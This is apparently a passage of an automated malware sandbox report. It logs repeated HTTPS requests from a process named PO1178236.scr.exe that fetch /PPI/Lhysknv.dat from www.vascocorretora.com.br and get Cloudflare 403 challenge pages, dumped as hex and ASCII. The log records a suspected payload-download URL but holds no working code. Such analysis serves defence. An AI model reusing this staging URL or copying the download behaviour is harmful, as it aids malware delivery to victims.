2025-01-09 07:28:56 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:28:56 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 61 30 61 63 36 37 34 33 34 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6a0ac674345</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:28:56 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 61 30 61 63 36 37 34 33 34 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6a0ac674345',t:'MTczNjQwNzczNi4wMDAwMDA='};var a=d
2025-01-09 07:28:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49795	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:56 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:57 UTC	1021	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4rCBetSuE5449GqsL9oZz1fgCY9ym%2B%2Bc%2FCWweQot1zgQfO%2FaHP%2BVGXs0hmf%2FoWFmLKpcnOW8a8DBXNMwThu6K1P6bn7Ngt07ILjbprZjIsK%2BslTir%2BaX6%2BC5%2FEtRC0ExTLJvI5dx%2BO5NsmJF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6a478e743b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1573&rtt_var=612&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1756919&cwnd=252&unsent_bytes=0&cid=1cfb21f8d97b6faf&ts=136&x=0"
2025-01-09 07:28:57 UTC	348	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:57 UTC	1369	IN	Data Raw: 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e Data Ascii: uired! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" con
2025-01-09 07:28:57 UTC	1369	IN	Data Raw: 73 73 3d 22 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f Data Ascii: ss="cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </
2025-01-09 07:28:57 UTC	1369	IN	Data Raw: 63 65 6e 74 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 61 34 37 38 65 37 34 33 62 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 Data Ascii: center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6a478e743b0</strong></span> <span class="cf-footer-separ
2025-01-09 07:28:57 UTC	1014	IN	Data Raw: 20 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 61 34 37 38 65 37 34 33 62 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4e 79 34 77 Data Ascii: <script> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6a478e743b0',t:'MTczNjQwNzczNy4w
2025-01-09 07:28:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49796	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:57 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:57 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=67fiYIVhi%2BRlNIqlH1cN3jCqbNQ5jp0cX626HFP2ywQ1xCuICjAgQGYZX5%2FZqk%2B1pnY4vDea%2F4SJphdVf1HOF1%2F6JcoM0woSk49zR7QO4MduQq0pqkgWdUIR9OwKaEp0I3zp4abUCso3dyZf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6a84c267cf3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1939&min_rtt=1926&rtt_var=748&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1437007&cwnd=218&unsent_bytes=0&cid=d4fcaed1a24bf451&ts=125&x=0"
2025-01-09 07:28:57 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:57 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:57 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:57 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 61 38 34 63 32 36 37 63 66 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6a84c267cf3</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:57 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 61 38 34 63 32 36 37 63 66 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6a84c267cf3',t:'MTczNjQwNzczNy4wMDAwMDA='};v
2025-01-09 07:28:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49797	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:58 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:58 UTC	999	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Ot412qopREYvbxlD6Ce7u7tIRuZVk8uFoOLxBRgJkW2Ot3WvO9lU7ot8fWK2aPxbdBwLKiTD0emsxLakP4Rb1eiCplcS3EHknNkYBaf0E4lK260GiBlhY8vb5mEwgMQ6MXw1SruVdwrqmVL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6ac2e83f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1737&min_rtt=1736&rtt_var=652&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1682027&cwnd=137&unsent_bytes=0&cid=db3a897e742a67f1&ts=149&x=0"
2025-01-09 07:28:58 UTC	370	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:58 UTC	1369	IN	Data Raw: 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 Data Ascii: itle><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-wid
2025-01-09 07:28:58 UTC	1369	IN	Data Raw: 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 6f 6e Data Ascii: light"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-con
2025-01-09 07:28:58 UTC	1369	IN	Data Raw: 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 61 63 32 65 38 33 66 37 38 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 